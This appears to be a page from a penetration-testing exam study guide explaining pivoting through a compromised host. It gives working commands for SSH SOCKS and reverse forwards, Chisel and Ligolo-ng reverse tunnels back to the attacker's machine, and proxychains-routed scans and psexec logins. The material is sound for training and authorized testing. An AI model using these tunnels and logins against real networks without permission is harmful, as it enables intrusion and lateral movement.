Tunneling, port forwarding & pivoting¶
Pivoting is simple once you hold the mental model: you've compromised a machine that can see a network you can't, so you turn that machine into a relay and reach the hidden network through it. The AD set commonly lives behind such a boundary, so pivoting is frequently required to finish the exam. The hard part isn't the tools — it's noticing you need to pivot, and then re-running your whole methodology against the newly-reachable hosts.
Step 1 — notice the second network¶
The moment you get a shell, check whether this host straddles two networks. If it has a second NIC or an ARP cache full of IPs you can't reach from Kali, there's a hidden subnet.
ip a ; ip route ; arp -a # Linux
ipconfig /all ; route print ; arp -a # Windows
# sweep the internal range from the pivot:
for i in $(seq 1 254); do ping -c1 -W1 10.10.20.$i >/dev/null && echo 10.10.20.$i up; done
10.10.20.x address on the pivot when Kali is on 10.10.14.x means an internal subnet only the pivot can reach. Those internal hosts are your next targets — but your tools on Kali can't touch them yet. That's the cue to tunnel.
Step 2 — choose a tunnel¶
flowchart TD
A["compromised pivot sees internal subnet"] --> B{"have SSH creds on the pivot?"}
B -->|yes| C["ssh -D (SOCKS) or -L (one port)"]
B -->|no| D["upload a tunneling agent: chisel or ligolo"]
C --> E["reach internal hosts"]
D --> E
E --> F["re-run nmap + enumeration on internal targets"]
SSH (when you have SSH creds on the pivot)¶
Why it works: SSH can forward traffic. A dynamic forward (-D) turns SSH into a SOCKS proxy — a general doorway into everything the pivot can reach.
ssh -D 1080 user@$PIVOT # SOCKS proxy on your localhost:1080 into the pivot's networks
ssh -L 8080:10.10.20.5:80 user@$PIVOT # local forward: just ONE internal port -> your localhost:8080
ssh -R 1080 user@$PIVOT # reverse SOCKS: when the pivot can reach YOU but not vice versa
Chisel (no SSH — upload a static binary)¶
Why: most pivots don't hand you SSH. Chisel is a single static binary you drop on the pivot that builds a tunnel back to Kali — a reverse SOCKS proxy over HTTP.
# Kali (server):
./chisel server -p 8000 --reverse
# on the pivot (client) -> gives Kali SOCKS on 1080 into the pivot's networks:
./chisel client $LHOST:8000 R:socks
# or forward a single port:
./chisel client $LHOST:8000 R:3389:10.10.20.5:3389
Ligolo-ng (cleanest — routes a whole subnet natively)¶
Why it's better: ligolo creates a virtual interface on Kali and routes the internal subnet through it — so your tools hit 10.10.20.x natively, no proxychains, no SOCKS quirks with DNS/UDP.
# Kali:
sudo ip tuntap add user $(whoami) mode tun ligolo; sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601
# pivot (agent):
./agent -connect $LHOST:11601 -ignore-cert
# in the proxy console: session -> start_tunnel ; then on Kali:
sudo ip route add 10.10.20.0/24 dev ligolo # now nmap/netexec/evil-winrm hit the subnet directly
Step 3 — use the tunnel (and the #1 gotcha)¶
Through a SOCKS proxy (ssh -D / chisel), route tools with proxychains:
proxychains nmap -sT -Pn -p- 10.10.20.5
proxychains netexec smb 10.10.20.5 -u $USER -p $PASS
proxychains evil-winrm -i 10.10.20.5 -u $USER -p $PASS
proxychains impacket-psexec $DOMAIN/$USER:$PASS@10.10.20.5
The gotcha that wastes hours: through SOCKS you must use
nmap -sT -Pn— a SOCKS proxy only carries full TCP connections, so SYN scans (-sS), UDP, and ICMP ping do not work. Ping will say hosts are down when they're up; test a TCP port instead. Ligolo's native routing avoids this entirely, which is why it's preferred.
Then: start over¶
Once the tunnel is up, the internal host is just a new target — re-run your whole methodology against it from port scanning onward. This is the mindset again: new reachability = new enumeration. The internal AD hosts get the same full treatment as the first box.
Keep the pivot alive¶
Your access to the entire internal network depends on that one tunnel. Run the agent/listener in the background, and if the pivot host reboots or the shell dies, you lose everything behind it — re-establish the foothold and the tunnel first before doing anything else.